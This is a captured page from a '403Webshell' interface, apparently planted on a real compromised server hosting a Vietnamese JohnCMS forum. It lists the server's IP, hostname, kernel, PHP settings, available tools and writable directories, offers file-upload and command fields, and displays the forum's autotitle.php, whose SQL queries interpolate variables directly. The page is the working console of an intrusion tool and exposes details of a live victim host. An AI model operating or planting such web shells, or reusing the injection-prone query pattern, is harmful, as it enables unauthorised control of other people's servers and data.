403Webshell
Server IP : 103.82.32.14  /  Your IP : 216.73.217.121
Web Server : Apache/2.2.32 (Unix) mod_ssl/2.2.32 OpenSSL/1.0.1e-fips mod_fcgid/2.3.9
System : Linux cloud.lonmanhoabinh.com 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : lonmakmf ( 524)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/forumhet/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/forumhet/public_html//autotitle.php
<?php
   define('_IN_JOHNCMS', 1);
   require('../incfiles/core.php');

   if ($user_id) {
    $xemnotification = mysql_result(mysql_query("SELECT COUNT(*) FROM `cms_mail` WHERE `from_id`='$user_id' AND `read`='0' AND `sys`='1' AND `delete`!='$user_id';"), 0);
    $xemmessage = mysql_result(mysql_query("SELECT COUNT(*) FROM `cms_mail` LEFT JOIN `cms_contact` ON `cms_mail`.`user_id`=`cms_contact`.`from_id` AND `cms_contact`.`user_id`='$user_id' WHERE `cms_mail`.`from_id`='$user_id' AND `cms_mail`.`sys`='0' AND `cms_mail`.`read`='0' AND `cms_mail`.`delete`!='$user_id' AND `cms_contact`.`ban`!='1' AND `cms_mail`.`spam`='0'"), 0);
    $xemfriend = mysql_result(mysql_query("SELECT COUNT(*) FROM `cms_contact` WHERE `from_id`='$user_id' AND `type`='2' AND `friends`='0';"), 0);
    $xemalbum = mysql_result(mysql_query("SELECT COUNT(*) FROM `cms_album_files` WHERE `user_id` = '" . core::$user_id . "' AND `unread_comments` = 1"), 0);
    $tongthongbao = ($xemnotification + $xemfriend + $xemalbum + $xemmessage);
    $xemthongbao = ($xemnotification + $xemfriend + $xemalbum);

echo "<script type=\"text/javascript\">
    loged=1,step=0,title=document.title;
    function flash_title() {
        if($tongthongbao > 0){
            step++;
            if(step==3){step=1};
            if(step==1){document.title=title};
            if(step==2){document.title='Bạn có ".($xemthongbao > 0 && $xemmessage > 0 ? $xemmessage.' tin nhắn và '.$xemthongbao.' thông báo' : ($xemthongbao > 0 ? $xemthongbao.' thông báo' : ($xemmessage > 0 ? $xemmessage.' tin nhắn' : '')))." mới .!!'};
            setTimeout(\"flash_title()\",10000);
        };
    };
    flash_title();
    </script>";
   }

?>

Youez - 2016 - github.com/yon3zu
LinuXploit